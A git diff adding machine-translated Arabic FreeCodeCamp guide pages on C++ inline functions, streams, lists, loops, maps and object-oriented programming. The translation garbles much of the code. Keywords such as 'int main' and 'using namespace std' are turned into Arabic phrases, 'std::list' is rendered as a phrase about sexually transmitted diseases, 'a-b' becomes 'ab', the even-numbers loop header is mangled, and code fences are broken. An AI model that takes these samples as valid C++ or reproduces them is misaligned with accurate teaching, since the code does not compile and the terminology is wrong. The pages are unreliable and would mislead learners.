+**لا تتردد في طرح أي أسئلة على صفحة GitHub [FreeCodeCamp](https://forum.freecodecamp.org/) أو [منتدى FreeCodeCamp.](https://forum.freecodecamp.org/)**
+
+[جربه بنفسك! :)](https://repl.it/L4k3)
+
+**قد تحتاج إلى بعض البرامج لكتابة التعليمات البرمجية لـ C ++ وتنفيذها. أوصي باستخدام CodeBlocks. هناك رابط تنزيل أدناه:**
+
+تنزيل الرابط: [تنزيل هنا](http://www.codeblocks.org/downloads/26)
+
+*   انقر فوق الارتباط مع مترجم GNU / GCC للنوافذ. هذا لن يتطلب تثبيت إضافي
+
+يمكن أن تكون البدائل الأخرى الاستوديو المرئي ، باستخدام مترجم أو IDE عبر الإنترنت مثل Cloud9 أو repl.it
+
+الرابط رقم 2 لنظام التشغيل Mac: [تنزيل لنظام التشغيل Mac رقم 2 هنا](https://developer.apple.com/xcode/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/cplusplus/inline-function/index.md b/client/src/guide/arabic/cplusplus/inline-function/index.md
new file mode 100644
index 0000000000..da845e435a
--- /dev/null
+++ b/client/src/guide/arabic/cplusplus/inline-function/index.md
@@ -0,0 +1,80 @@
+---
+title: Inline Function
+localeTitle: وظيفة مضمنة
+---
+# وظيفة مضمنة
+
+## المقدمة
+
+الدالة المضمنة هي دالة خاصة معرفة في C ++ ويتم توسيعها في السطر عندما يتم استدعاؤها.
+
+الآن ، ماذا يعني هذا بالضبط؟
+
+عندما يتم استدعاء الدالة ، فإنه يأخذ الكثير من الوقت الإضافي لتنفيذ سلسلة من الأنشطة مثل القفز إلى الوظيفة وحفظ السجلات ودفع الحجج إلى مكدس والعودة إلى وظيفة الاستدعاء. لذلك يستغرق الكثير من الوقت. لكن الدالة المضمنة هي دالة حيث تم طلب المحول البرمجي لأداء التوسع المضمن. حيث تطلب الدالة المحول البرمجي إدراج كامل جسم الدالة في كل مكان يتم استدعاء الدالة فيه ، بدلاً من توليد كود لاستدعاء الوظيفة في مكان واحد يتم تعريفه.
+
+ومع ذلك ، لا يمكننا ضمان أن كل دالة مضمن مضمنة سيتم مضمنة. لأننا عندما نعلن عن وظيفة على هيئة `inline` ، فهي طلب ، وليست أمرًا. قد تجاهل المحول البرمجي طلب inlining في الحالات التالية: 1) إذا كان يحتوي على وظيفة حلقة على سبيل المثال `for` حلقة، `while` حلقة، `do-while` حلقة الخ 2) إذا كانت الدالة تحتوي على `switch` أو عبارة `goto` . 3) إذا كانت الدالة لا تعيد أي شيء حتى إذا تم ذكر نوع الإرجاع (بخلاف `void` طبعا). 4) إذا كانت الدالة تحتوي على متغير ثابت. 5) إذا كانت الوظيفة تحتوي على استدعاء تكراري.
+
+\`\` \`ج + +
+
+## بناء الجملة :-
+
+اسم _دالة نوع_ الإرجاع المضمن (argument\_list) {
+
+// وظيفة الهيئة
+
+}
+
+ `## When to use Inline function 
+ 
+ * When the function performs small tasks and is called very often. 
+ * When performance is important. 
+ * Instead of a macro. 
+` 
+
+ج ++
+
+# تتضمن
+
+استخدام اسم للمحطة؛
+
+class MathOperation {
+
+عامة:
+
+ `inline int add(int x, int y){ 
+ 
+  return(x+y); 
+ } 
+ 
+ inline float div(int n1, float n2){ 
+ 
+  return(n1/n2); 
+ } 
+` 
+
+}؛
+
+انت مين(){
+
+MathOperation obj؛
+
+cout << "Addition is:" << obj.add (34،12) << <"\\ n"؛ cout << "Division is:" << obj.div (12،3.4) << "\\ n"؛
+
+العودة 0
+
+} \`\` \`
+
+## مزايا وظيفة مضمنة
+
+*   فإنه يحفظ فوق من استدعاء العودة من وظيفة.
+*   يزيد من مرجع المرجع باستخدام ذاكرة التخزين المؤقت للتعليمات.
+*   فإنه يسرع البرنامج الخاص بك عن طريق تجنب النفقات العامة استدعاء وظيفة.
+*   فإنه يحفظ الحمل من عمليات دفع / pop المتغيرات على المكدس ، عندما تحدث مكالمات الدالة.
+*   من الممكن وضع تعريف دالة في ملف رأس ، أي يمكن تضمينه في وحدة تجميع متعددة ، دون أن يشكو الرابط.
+
+## مساوئ وظيفة مضمنة
+
+*   عند استخدامه في رأس الصفحة ، فإنه يجعل ملف رأسك أكبر مع المعلومات التي لا يهتم بها المستخدمون.
+*   يزيد الحجم القابل للتنفيذ بسبب توسيع التعليمة البرمجية.
+*   يتم حل C ++ المضمن في وقت التحويل البرمجي. مما يعني أنه إذا قمت بتغيير رمز الدالة المائلة ، ستحتاج إلى إعادة ترجمة جميع التعليمات البرمجية التي تستخدمها للتأكد من تحديثها.
+*   كما ذكر أعلاه يزيد من حجم الملف التنفيذي ، مما قد يتسبب في الخداع في الذاكرة. عدد أكبر من خطأ الصفحة ، مما يؤدي إلى انخفاض أداء البرنامج.
\ No newline at end of file
diff --git a/client/src/guide/arabic/cplusplus/inline-functions/index.md b/client/src/guide/arabic/cplusplus/inline-functions/index.md
new file mode 100644
index 0000000000..0e388c851e
--- /dev/null
+++ b/client/src/guide/arabic/cplusplus/inline-functions/index.md
@@ -0,0 +1,116 @@
+---
+title: Inline Functions in C++
+localeTitle: وظائف مضمنة في C ++
+---
+## وظائف مضمنة في C ++
+
+عندما يقوم البرنامج بتنفيذ تعليمات استدعاء الدالة ، تقوم وحدة المعالجة المركزية بتخزين عنوان الذاكرة الخاص بالتعليمات التي تلي استدعاء الدالة ، وتقوم بنسخ وسيطات الدالة الموجودة على المكدس وتقوم بنقل التحكم في النهاية إلى الوظيفة المحددة. تقوم وحدة المعالجة المركزية بعد ذلك بتنفيذ كود الوظيفة ، وتقوم بتخزين قيمة رجوع الدالة في موقع / سجل ذاكرة محدد مسبقًا وتقوم بإرجاع التحكم إلى وظيفة الاستدعاء. هذا يمكن أن يصبح الحمل إذا كان وقت تنفيذ الدالة أقل من وقت التبديل من وظيفة المتصل إلى استدعاء الدالة (callee). بالنسبة للوظائف الكبيرة و / أو التي تقوم بتنفيذ مهام معقدة ، يكون مقدار الحمل للنداء الوظيفي غير هام مقارنة بالمقدار الزمني الذي تستغرقه الوظيفة للتشغيل. ومع ذلك ، بالنسبة للوظائف الصغيرة الشائعة الاستخدام ، فإن الوقت اللازم لإجراء استدعاء الدالة يكون في كثير من الأحيان أكبر بكثير من الوقت اللازم لتنفيذ شفرة الوظيفة. يحدث هذا الحمل للوظائف الصغيرة لأن وقت تنفيذ الدالة الصغيرة أقل من وقت التبديل.
+
+يوفر C ++ وظائف مضمّنة لتقليل الحمل المكالمة الدالة. دالة مضمنة هي دالة يتم توسيعها في السطر عندما يتم استدعاؤها. عندما يتم استدعاء الدالة المضمنة يتم إدخال رمز كامل للدالة المضمنة أو استبدالها في نقطة استدعاء دالة مضمنة. يتم تنفيذ هذا الاستبدال بواسطة برنامج التحويل البرمجي C ++ في وقت التحويل البرمجي. وظيفة مضمنة قد تزيد من الكفاءة إذا كانت صغيرة. إن صيغة تعريف الدالة المضمنة هي:
+
+ `inline return-type function-name(parameters) 
+ { 
+    // function code 
+ } 
+` 
+
+تذكر أن التضمين هو مجرد طلب إلى المحول البرمجي وليس أمرًا. يمكن تجاهل المحول البرمجي طلب forlining. قد لا يؤدّي المحول البرمجي inlining في حالات مثل:
+
+*   إذا احتوت إحدى الدالات على حلقة. (ل ، بينما ، لا أثناء)
+*   إذا كانت الدالة تحتوي على متغيرات ثابتة.
+*   إذا كانت الوظيفة متكررة.
+*   إذا كان نوع إرجاع الدالة مختلفًا عن الفراغ ، ولا يوجد بيان الإرجاع في نص الدالة.
+*   إذا احتوت الدالة على مفتاح تبديل أو عبارة goto.
+
+### توفر الوظائف المضمنة المزايا التالية:
+
+*   لا تحدث الحمل استدعاء المكالمة.
+*   كما يحفظ مقدار ضغط متغيرات push / pop على المكدس عند استدعاء الدالة.
+*   كما يحفظ نفقات استدعاء العودة من وظيفة.
+*   عند تضمين إحدى الدالات ، يمكنك تمكين برنامج التحويل البرمجي من إجراء تحسين معين للسياق على نص الدالة. مثل هذه التحسينات غير ممكنة للمكالمات الدالة العادية. يمكن الحصول على تحسينات أخرى من خلال النظر في تدفقات سياق الاتصال والسياق المطلوب.
+*   قد تكون الدالة المضمّنة مفيدة (إذا كانت صغيرة) للأنظمة المضمنة لأن المضمّنة يمكن أن تسفر عن شفرة أقل من دالة استدعاء التمهيد والعودة.
+
+### عيوب وظيفة مضمنة:
+
+*   تستهلك المتغيرات المضافة من الدالة الموضعية سجلات إضافية ، بعد وظيفة البطانة الداخلية في حالة زيادة عدد المتغيرات التي ستستخدم السجل أكثر مما يمكن أن تنشئه فوق استخدام تسجيل متغير الموارد. وهذا يعني أنه عندما يتم استبدال هيئة وظيفة مضمنة في استدعاء نقطة الوظيفة ، يتم أيضًا إدخال العدد الإجمالي للمتغيرات التي تستخدمها الدالة. وبالتالي فإن عدد التسجيلات التي سيتم استخدامها للمتغيرات سيزداد أيضًا. لذا ، إذا ارتفع عدد الوظائف المتغيرة بشكل ملحوظ بعد ذلك ، فمن المؤكد أن ذلك سيؤدي إلى زيادة النفقات على استخدام السجل.
+    
+*   إذا كنت تستخدم عددًا كبيرًا جدًا من الدالات المضمّنة ، فسيكون حجم الملف التنفيذي الثنائي كبيرًا ، نظرًا لازدواج الشفرة نفسها.
+    
+*   يمكن أيضًا أن يؤدي التنصيص إلى تقليل معدل ضرب ذاكرة التخزين المؤقت للتعليمات ، وبالتالي تقليل سرعة عملية جلب التعليمات من ذاكرة التخزين المؤقت إلى الذاكرة الأساسية.
+    
+*   قد تعمل الدالة المضمّنة على زيادة الحمل الزائد أثناء التحويل إذا قام أحدهم بتغيير الشفرة داخل الدالة المضمّنة ، فيجب إعادة ترجمة كل موقع الاستدعاء لأن المحول البرمجي سيطالب باستبدال كل الشفرة مرة أخرى لتعكس التغييرات ، وإلا فإنه سيستمر مع الوظائف القديمة.
+    
+*   قد لا تكون الوظائف المضمّنة مفيدة للعديد من الأنظمة المضمّنة. نظرًا لأن حجم رمز النظام المضمّن أكثر أهمية من السرعة.
+    
+*   قد تتسبب الدالات المضمنة في سحق لأن قد يؤدي زيادة حجم الملف التنفيذي الثنائي. تسبب السقوط في الذاكرة في انخفاض أداء الكمبيوتر.
+    
+
+يوضح البرنامج التالي هذا المفهوم:
+
+ `#include <iostream> 
+ using namespace std; 
+ class operation 
+ { 
+    int a,b,add,sub,mul; 
+    float div; 
+ public: 
+    void get(); 
+    void sum(); 
+    void difference(); 
+    void product(); 
+    void division(); 
+ }; 
+ inline void operation :: get() 
+ { 
+    cout << "Enter first value:"; 
+    cin >> a; 
+    cout << "Enter second value:"; 
+    cin >> b; 
+ } 
+ 
+ inline void operation :: sum() 
+ { 
+    add = a+b; 
+    cout << "Addition of two numbers: " << a+b << "\n"; 
+ } 
+ 
+ inline void operation :: difference() 
+ { 
+    sub = ab; 
+    cout << "Difference of two numbers: " << ab << "\n"; 
+ } 
+ 
+ inline void operation :: product() 
+ { 
+    mul = a*b; 
+    cout << "Product of two numbers: " << a*b << "\n"; 
+ } 
+ 
+ inline void operation ::division() 
+ { 
+    div=a/b; 
+    cout<<"Division of two numbers: "<<a/b<<"\n" ; 
+ } 
+ 
+ int main() 
+ { 
+    cout << "Program using inline function\n"; 
+    operation s; 
+    s.get(); 
+    s.sum(); 
+    s.difference(); 
+    s.product(); 
+    s.division(); 
+    return 0; 
+ } 
+` 
+
+انتاج:
+
+ `Enter first value: 45 
+ Enter second value: 15 
+ Addition of two numbers: 60 
+ Difference of two numbers: 30 
+ Product of two numbers: 675 
+ Division of two numbers: 3 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/cplusplus/input-and-output/index.md b/client/src/guide/arabic/cplusplus/input-and-output/index.md
new file mode 100644
index 0000000000..489cbedae4
--- /dev/null
+++ b/client/src/guide/arabic/cplusplus/input-and-output/index.md
@@ -0,0 +1,126 @@
+---
+title: Input and Output
+localeTitle: المدخلات والمخرجات
+---
+## المدخلات والمخرجات مع تيارات
+
+لطباعة الأشياء إلى وحدة التحكم ، أو القراءة منها ، يمكنك استخدام `cout` و `cin` ، اللذان يطلق عليهما `streams` . يتم استخدام هذه الاستعارة نظرًا لأنك تستخدم تدفقات مثل استخدامك لحوض أو نقرة: إما أن تقوم بإسقاط البيانات إلى حوض ( `cout` ) أو الحصول على بيانات من صنبور ( `cin` ).
+
+### الإخراج مع cout
+
+يستخدم برنامج "Hello World" `cout` لطباعة "Hello World!" إلى وحدة التحكم:
+
+ `#include<iostream> 
+ using namespace std; 
+ 
+ int main() 
+ { 
+  cout << "Hello world!" << endl; 
+ } 
+` 
+
+أول سطرين في الأعلى ضروريان لاستخدام `cout` ومجموعات التدفقات الأخرى. `#include<iostream>` يجعل كائنات الدفق متاحة ، `using namespace std;` يتيح لك كتابة `cout` مباشرة بدلاً من الاضطرار إلى كتابة `std::cout` ، وهذا يعني أن نحتاج إلى استخدام `cout` من مساحة الاسم `std` .
+
+`cout` لتقف على "وحدة التحكم الإخراج" ، وهو ما يسمى _تيار الإخراج_ الذي يمثل وحدة التحكم. عندما تريد طباعة شيء إلى وحدة التحكم ، يمكنك وضعه في `cout` ؛ تخيل أنها حفرة تؤدي إلى المحطة. لوضع الأشياء في هذه الحفرة ، في وقت واحد ، يمكنك استخدام `<<` المشغل ، ويعرف أيضا باسم _مشغل الإدراج_ 1 . يمكن تقييد المشغل ، أي يمكنك وضع عدة أشياء في واحد تلو الآخر. سوف يطبع التالي "الكعكة هي كذبة.":
+
+`cout << "The cake " << "is " << "a " << "lie." << endl;`
+
+`endl` لتقف على "End Line" وهو عنصر آخر يأتي من `<iostream>` . عند وضع `endl` في `cout` ، ستقوم بطباعة حرف السطر الجديد ("\\ n") إلى وحدة التحكم ، وكذلك _مسح_ `cout` ، مما يعني أنه سيجبر `cout` على طباعة كل شيء قمت بوضعه فيه _الآن_ . إذا كنت لا تضع `endl` إلى `cout` ، `cout` قد حفاظ على البيانات التي قد وضعت في ذلك، ولكن تنتظر المزيد من البيانات قبل طباعة كل ذلك في الواقع. هذا يسمى _التخزين المؤقت_ وهو جيد جدًا للأداء ، ولكن إذا كنت قد قدمت بالفعل كل شيء من المفترض طباعته ، فأنت تريد أن `cout` على الفور. لذلك من الممارسات الجيدة أن تنتهي مع `endl` في الأماكن التي يكون لها معنى.
+
+يمكن وضع كل شيء تقريبًا في جدول: السلاسل ، والأرقام ، والمتغيرات ، والتعبيرات ، وما إلى ذلك. في ما يلي بعض الأمثلة على عمليات إدراج البث الصحيحة:
+
+ ``// Notice we can use the number 42 and not the string "42". 
+ cout << "The meaning of life is " << 42 << endl;` // Output: The meaning of life is 42 
+`` 
+
+ ``string name = "Tim"; 
+ cout << "Except for you, " << name << endl;`// Output: Except for you, Tim 
+`` 
+
+ ``string name = "Tim"; 
+ cout << name; 
+ cout << " is a great guy!" << endl;` 
+ // Output: Tim is a great guy! 
+`` 
+
+ ``int a = 3; 
+ cout << a*2 + 18/a << endl;`// Output: 12 
+`` 
+
+### ملاحظة حول المسافة البيضاء
+
+C ++ دائما يضع _لكم_ في السيطرة، ويفعل بالضبط فقط الأشياء التي تقول أن تفعله. قد يكون هذا مفاجئًا في بعض الأحيان ، كما في المثال التالي:
+
+ `string name = "Sarah"; 
+ cout << "Good morning" << name << "how are you today? << endl; 
+` 
+
+قد تتوقع أن تطبع "صباح الخير يا سارة كيف حالك اليوم؟" ، ولكن في الواقع ، سيكون الناتج "Good morningSarahhow هل أنت اليوم؟". سبب هذا الخطأ هو أنك لم تكتب مسافات في السلاسل المحيطة `name` ، وحيث أنك لم تحدد أي مسافات ، فإن `cout` لم يقم بطباعة أي منها. النسخة الصحيحة ستكون: `cout << "Good morning " << name << " how are you today? << endl;`
+
+لا تحدث فواصل الأسطر من تلقاء نفسها. قد تعتقد أن هذا من شأنه أن يطبع وصفة على أربعة أسطر:
+
+ `cout << "To make bread, you need:"; 
+ cout << "* One egg"; 
+ cout << "* One water"; 
+ cout << "* Two wheat"; 
+` 
+
+لكن المخرج هو في الواقع على سطر واحد: "لصنع الخبز ، تحتاج: \* بيضة واحدة \* ماء واحد \* اثنين من القمح". هذا لأنه لا توجد أحرف سطر جديد في نهاية الأسطر ، لذا بشكل طبيعي ، تفترض C ++ أننا لا نريدها أن تطبع أحرف السطر الجديد.
+
+يمكنك إصلاح هذا عن طريق إضافة `endl` s بعد كل سطر ، لأنه كما تمت مناقشته سابقًا ، يدرج `endl` حرفًا في السطر الجديد في دفق الإخراج. ومع ذلك ، فإنه يفرض أيضًا أن يتم مسح المخزن المؤقت ، الأمر الذي يفقدنا بعض الأداء لأننا قد قمنا بطباعة جميع الخطوط دفعة واحدة. لذلك سيكون الأفضل إضافة أحرف سطر جديد فعليًا في نهاية الأسطر ، واستخدام `endl` فقط في النهاية:
+
+ `cout << "To make bread, you need:\n"; 
+ cout << "* One egg\n"; 
+ cout << "* One water\n"; 
+ cout << "* Two wheat" << endl; 
+` 
+
+إذا كنت تقوم فقط بطباعة وصفة صغيرة ، فإن الوقت الذي تقوم فيه بالحفظ يكون ضئيلًا ولا يستحق العناء ، ولكن إذا كنت تطبع ملايين العناصر ، فقد يكون الفرق ملحوظًا جدًا.
+
+### المدخلات مع السينما
+
+لقراءة من وحدة التحكم، يمكنك استخدام _دفق الإدخال_ `cin` بالطريقة نفسها كما تفعل `cout` ، ولكن بدلا من وضع الأمور في `cin` ، وانت "إخراجهم". يقرأ البرنامج التالي رقمين من المستخدم ويضيفهما معًا:
+
+ `#include<iostream> 
+ using namespace std; 
+ 
+ int main() 
+ { 
+  int a, b; // Variables to hold the two numbers. 
+ 
+  cout << "Please enter the first number:" << endl; 
+  cin >> a; 
+  cout << "Please enter the second number:" << endl; 
+  cin >> b; 
+ 
+  cout << "The sum of your numbers is: " << a + b << endl; 
+ } 
+` 
+
+يقف `cin` لـ "Console Input" وهو _دفق_ إدخال يمثل الإدخال من وحدة التحكم. في التعبير `cin >> a;` يتم قراءة البيانات من `cin` وحفظها في المتغير `a` ، باستخدام المشغل `>>` ، _عامل الاستخراج_ 2 . يقرأ عامل الاستخراج بالضبط نفس القدر المطلوب من البيانات للكتابة في المتغير الذي نحدده ، ويتخطى أي مسافة بيضاء ، لذلك إذا كان المستخدم يكتب "6" التي ستقرأ فقط كقيمة `6` .
+
+تجدر الإشارة إلى أن `cin` ستوقف البرنامج بأكمله لانتظار أن يكتب المستخدم قيمه. لن يستمر البرنامج حتى يقوم المستخدم بالضغط على enter ، وهناك بعض البيانات المراد كتابتها في المتغير. إذا قام المستخدم فقط بالضغط على الزر enter دون كتابة أي شيء ، فإن `cin` سيستمر في انتظار القيمة.
+
+يمكن ربط عامل الاستخراج `<<` . هنا هو نفس البرنامج كما في المرة السابقة ، ولكن مكتوبة بطريقة أكثر إيجازا:
+
+ `#include<iostream> 
+ using namespace std; 
+ 
+ int main() 
+ { 
+  int a, b; // Variables to hold the two numbers. 
+ 
+  cout << "Please enter two numbers:" << endl; 
+  cin >> a >> b; 
+  cout << "The sum of your numbers is: " << a + b << endl; 
+ } 
+` 
+
+عند العمل بالسلاسل ، يقوم مشغل الاستخراج أولاً بقراءة البيانات من `cin` لملء `a` ، ثم قراءة البيانات لملء `b` .
+
+يمكن أيضًا استخدام عبارات printf و scanf القياسية باستخدام c + عن طريق استيراد " ' الملف الاساسي.
+
+## مصادر
+
+1.  http://www.cplusplus.com/reference/ostream/ostream/operator٪3C٪3C/
+2.  http://www.cplusplus.com/reference/istream/istream/operator٪3E٪3E/
\ No newline at end of file
diff --git a/client/src/guide/arabic/cplusplus/lists/index.md b/client/src/guide/arabic/cplusplus/lists/index.md
new file mode 100644
index 0000000000..f4da8137a4
--- /dev/null
+++ b/client/src/guide/arabic/cplusplus/lists/index.md
@@ -0,0 +1,13 @@
+---
+title: C++ Lists
+localeTitle: قوائم C ++
+---
+# ما هي قائمة المحكمة الخاصة بلبنان؟
+
+القوائم في C ++ هي أداة قوية مشابهة لأبناء عمها الأكثر شهرة ، C ++ Vectors. في حين أن المتجهات هي حاوية متسلسلة حيث يتم فهرسة العناصر في سلسلة متصلة ، فإن القوائم هي أيضًا حاوية متسلسلة ولكنها منظمة بشكل مختلف. تشير عناصر القائمة إلى عنصرها التالي بحيث يتم ترتيب جميع العناصر بالتسلسل ولكنها لا تستخدم الفهرسة. ماذا؟ يمكنك السؤال. يفعلون ذلك ليس عن طريق الفهرسة ولكن باستخدام أداة خاصة تسمى التكرارات. المتكررات هي مثل المؤشرات الخاصة مهمتها هي الحفاظ على ترتيب عناصر القائمة كنوع من نوع الربط بين سيارتي القطار. هنا مرئي جميل كيفية تنظيم القوائم مقارنةً بالموجهات والصفائف. ![IMG](https://imgur.com/SiU8uTe.png)
+
+## كيف تعلن القائمة
+
+إذا كنت ترغب في إعلان قائمة الأرقام التي تكتبها:
+
+'' 'الأمراض المنقولة جنسيا :: قائمة أعداد؛'''
\ No newline at end of file
diff --git a/client/src/guide/arabic/cplusplus/loops/index.md b/client/src/guide/arabic/cplusplus/loops/index.md
new file mode 100644
index 0000000000..8958182011
--- /dev/null
+++ b/client/src/guide/arabic/cplusplus/loops/index.md
@@ -0,0 +1,84 @@
+---
+title: Loops
+localeTitle: الحلقات
+---
+# الحلقات
+
+## المقدمة
+
+الآن دعنا نناقش شيئًا يُعرف باسم الحلقة. افترض أنك تريد طباعة الأرقام الزوجية من 1 إلى 1000 على الشاشة. اتجاه واحد للقيام بذلك هو كتابة السطور التالية
+
+\`\` \`ج + + cout << 0 << endl؛ cout << 2 << endl؛ cout << 4 << endl؛ .... .... .... cout << 1000 << endl؛
+
+ `But the problem with this approach is that you have to write the same line again and again. And if suppose you have to print 
+ prime numbers from 1 to 1000 then this will be more hectic. 
+ Therefore, in order to solve such problems loops are introduced. 
+ 
+ There are different types of loop functions: 
+ ### While and do while loops 
+ 
+ While and do while loops allow you to make the loop until a condition finishes. 
+ The difference between While and Do while is that Do while always executes once. 
+ Here you can see an example: 
+` 
+
+ج ++ بينما (الشرط) { // القانون الذي سيتم تنفيذه في حين الشرط هو الصحيح } فعل { // سيتم التنفيذ مرة واحدة وحتى تصبح الحالة خاطئة } في حين (شرط) ؛
+
+ `### For loops 
+ 
+ For loops are usually used when you know how many times the code will execute. 
+ The flow can be seen in this [graph](https://www.tutorialspoint.com/cplusplus/images/cpp_for_loop.jpg). 
+ 
+ They are declared this way: 
+` 
+
+ج ++ لـ (تهيئة متغير ؛ تحقق من شرط ؛ زيادة المتغير الذي تم تهيئته) { // رمز التنفيذ }
+
+ `Lets write a program which will print numbers from 0 to 1000 including 1000 on the screen using a for loop. 
+` 
+
+ج ++ لـ (int i = 0؛ i <= 1000؛ i ++) { cout << i << endl؛ }
+
+ ``When you execute this code in a c++ program numbers from 1 to 1000 will be printed. 
+ Now lets discuss how the for loop works. 
+ 
+ * You start a for loop by typing the keyword 'for'. It means you are starting a for loop 
+ ` for ` 
+ * Next you open and close a round bracket. In this brackets you write some conditions which will be discussed later 
+ ` for()` 
+ * Inside the brackets first you write the initial condition ie the value from where the loop will start. Like in the 
+  above program we write int i = 0 
+ ` for(int i = 0)` 
+ * Then you write the semicolon and then condition until when the loop will be executed. In the above code you define 
+   i < 1000. It means until value of i is less then 1000 execuete the loop. 
+   ` for(int i=0;i<=1000) ` 
+ * Then you define the incremented value that is how much i has to be incremented in each iteration. In the above code 
+   we write i++. It means value of i will be incremented by 1 every time. 
+    ` for(int i=0;i<=1000;i++) ` 
+ * If there is only one statement inside the loop then the curly bracket is optional but its better to write loop code 
+   within brackets so that you don't get confused. 
+    ``` c++ 
+    for(int i=0;i<=1000;i++) 
+        { 
+        } 
+     ``` 
+ * Then inside the loop you write what do you want to do. In the above program we output the value of i. 
+ 
+ So, in this way the for loop works 
+ 
+ If you want to print even numbers from 1 to 1000 then your program will look like this 
+`` 
+
+ج ++ لـ (int i = 0؛ i = 1000 = i = i + 2) { cout << i << endl؛ }
+
+\`\` \`
+
+*   الفرق في البرنامج الأول والثاني هو جزء الزيادة. بقية الكود هو نفسه. هذا البرنامج سوف يطبع 0 و ثم إضافة 2 إليه وطباعة 2 على وحدة التحكم وهكذا تصبح قيمة up تساوي 1000.
+    
+    برنامجنا النهائي لطباعة حتى الأرقام من 0 إلى 1000 سيبدو هكذا.
+    
+    \`\` \`ج + +
+    
+    # تتضمن
+    
+    استخدام اسم للمحطة؛ انت مين() { لـ (int i = 0؛ i = 1000 = i = i + 2) { cout << i << endl؛ } العودة 0 } \`\` \`
\ No newline at end of file
diff --git a/client/src/guide/arabic/cplusplus/map/index.md b/client/src/guide/arabic/cplusplus/map/index.md
new file mode 100644
index 0000000000..945fffb1b1
--- /dev/null
+++ b/client/src/guide/arabic/cplusplus/map/index.md
@@ -0,0 +1,78 @@
+---
+title: Map
+localeTitle: خريطة
+---
+## مقدمة من الخريطة
+
+`map` عبارة عن حاوية ربطية تخزن العناصر في زوج القيمة الرئيسية. مثلما هو الحال في `Java` لديك مجموعة ، مجموعة النقابي في PHP وهلم جرا.
+
+## فوائد استخدام الخريطة
+
+*   يخزن فقط مفاتيح فريدة من نوعها وهذا أيضا في ترتيب مفروض على أساس معايير الفرز المخصصة لها.
+*   بما أن المفاتيح في ترتيب مفروز ، فإن عنصر البحث في الخريطة من خلال المفتاح سريع جدًا ، أي أنه يستغرق وقت لوغاريتمي.
+*   في `map` سيكون هناك قيمة واحدة فقط مرفقة بكل مفتاح.
+*   `map` يمكن استخدامها كمصفوفات ارتباطية.
+*   قد يتم تنفيذه باستخدام أشجار ثنائية متوازنة.
+
+هنا مثال:
+
+ `#include <iostream> 
+ #include <map> 
+ 
+ using namespace std; 
+ 
+ int main (){ 
+  map<char,int> first; 
+ 
+  //initializing 
+  first['a']=10; 
+  first['b']=20; 
+  first['c']=30; 
+  first['d']=40; 
+ 
+   map<char, int>::iterator it; 
+   for(it=first.begin(); it!=first.end(); ++it){ 
+      cout << it->first << " => " << it->second << '\n'; 
+   } 
+ 
+  return 0; 
+ } 
+` 
+
+انتاج:
+
+ `a => 10 
+ b => 20 
+ c => 30 
+ d => 40 
+` 
+
+## خلق كائن الخريطة
+
+`map<string, int> myMap;`
+
+## إدراج
+
+إدخال البيانات مع إدراج وظيفة العضو.
+
+ `myMap.insert(make_pair("earth", 1)); 
+ myMap.insert(make_pair("moon", 2)); 
+` 
+
+يمكننا أيضًا إدخال البيانات في خريطة std :: using operator \[\] ie
+
+`myMap["sun"] = 3;`
+
+## الوصول إلى عناصر الخريطة
+
+للوصول إلى عناصر الخريطة ، يتعين عليك إنشاء أداة إعادة تهيئة لها. وهنا مثال على النحو المذكور من قبل.
+
+ `map<char, int>::iterator it; 
+ for(it=first.begin(); it!=first.end(); ++it){ 
+  cout << it->first << " => " << it->second << '\n'; 
+ } 
+` 
+
+هنا يمكنك معرفة المزيد عن الخريطة: [cpluspluc\_map](http://www.cplusplus.com/reference/map/map/map/)
+
+ملاحظة: كل التعليمات البرمجية في المثال في إصدار C ++ 11. يمكنك معرفة المزيد عن إصدار C ++ [هنا](http://en.cppreference.com/w/cpp/compiler_support)
\ No newline at end of file
diff --git a/client/src/guide/arabic/cplusplus/object-oriented-programming/index.md b/client/src/guide/arabic/cplusplus/object-oriented-programming/index.md
new file mode 100644
index 0000000000..0f3792ac55
--- /dev/null
+++ b/client/src/guide/arabic/cplusplus/object-oriented-programming/index.md
@@ -0,0 +1,76 @@
+---
+title: Object Oriented Programming using C++
+localeTitle: البرمجة الشيئية باستخدام C ++
+---
+## البرمجة الشيئية باستخدام C ++
+
+تهدف البرمجة الموجهة للكائنات ، OOP باختصار ، إلى تنفيذ كيانات العالم الحقيقي مثل الميراث والإخفاء وتعدد الأشكال في البرمجة. الهدف الرئيسي من OOP هو ربط البيانات والوظائف التي تعمل عليها بحيث لا يمكن لأي جزء آخر من التعليمات البرمجية الوصول إلى هذه البيانات باستثناء تلك الوظيفة.
+
+دعونا نتعرف على الخصائص المختلفة للغة البرمجة الشيئية المنحى:
+
+### موضوع:
+
+الكائنات هي كيانات وقت التشغيل الأساسية في نظام موجه للكائنات ، والكائنات هي مثيلات للفئة يتم تعريف هذه أنواع البيانات المعرفة من قبل المستخدم.
+
+ `class person 
+ { 
+    char name[20]; 
+    int id; 
+ public: 
+    void getdetails(){} 
+ }; 
+ 
+ int main() 
+ { 
+   person p1; //p1 is an object 
+ } 
+` 
+
+تشغل الكائنات مساحة في الذاكرة ويكون لها عنوان مرتبط مثل سجل في الباسكال أو البنية أو الاتحاد في C.
+
+عندما يتم تنفيذ البرنامج تتفاعل الكائنات عن طريق إرسال الرسائل إلى بعضها البعض.
+
+يحتوي كل كائن على بيانات وتعليمة برمجية لمعالجة البيانات. يمكن أن تتفاعل الكائنات دون الحاجة إلى معرفة تفاصيل كل بيانات أو رموز بعضها البعض. يكفي معرفة نوع الرسالة المقبولة ونوع الاستجابة التي يتم إرجاعها بواسطة الكائنات.
+
+### صف دراسي:
+
+الصف هو مخطط للبيانات والوظائف أو الطرق. الطبقة لا تأخذ أي مساحة.
+
+ `class class_name 
+ { 
+  private: 
+     //data members and member functions declarations 
+  public: 
+     //data members and member functions declarations 
+  protected: 
+     //data members and member functions declarations 
+ }; 
+` 
+
+Class هو نوع بيانات محدد بواسطة المستخدم مثل بنيات ونقابات في C.
+
+متغيرات الطبقة الافتراضية تكون خاصة ولكن في حالة الهيكل تكون عامة. في المثال أعلاه الشخص هو فئة.
+
+### التغليف وتجريد البيانات:
+
+يُعرف التفاف (دمج) البيانات والوظائف في وحدة واحدة بالتغليف. لا يمكن الوصول إلى البيانات إلى العالم الخارجي ويمكن فقط للوظائف التي يتم الالتفاف عليها في الفصل الوصول إليها. ويسمى هذا العزل من البيانات من الوصول المباشر من قبل البرنامج إخفاء البيانات أو إخفاء المعلومات.
+
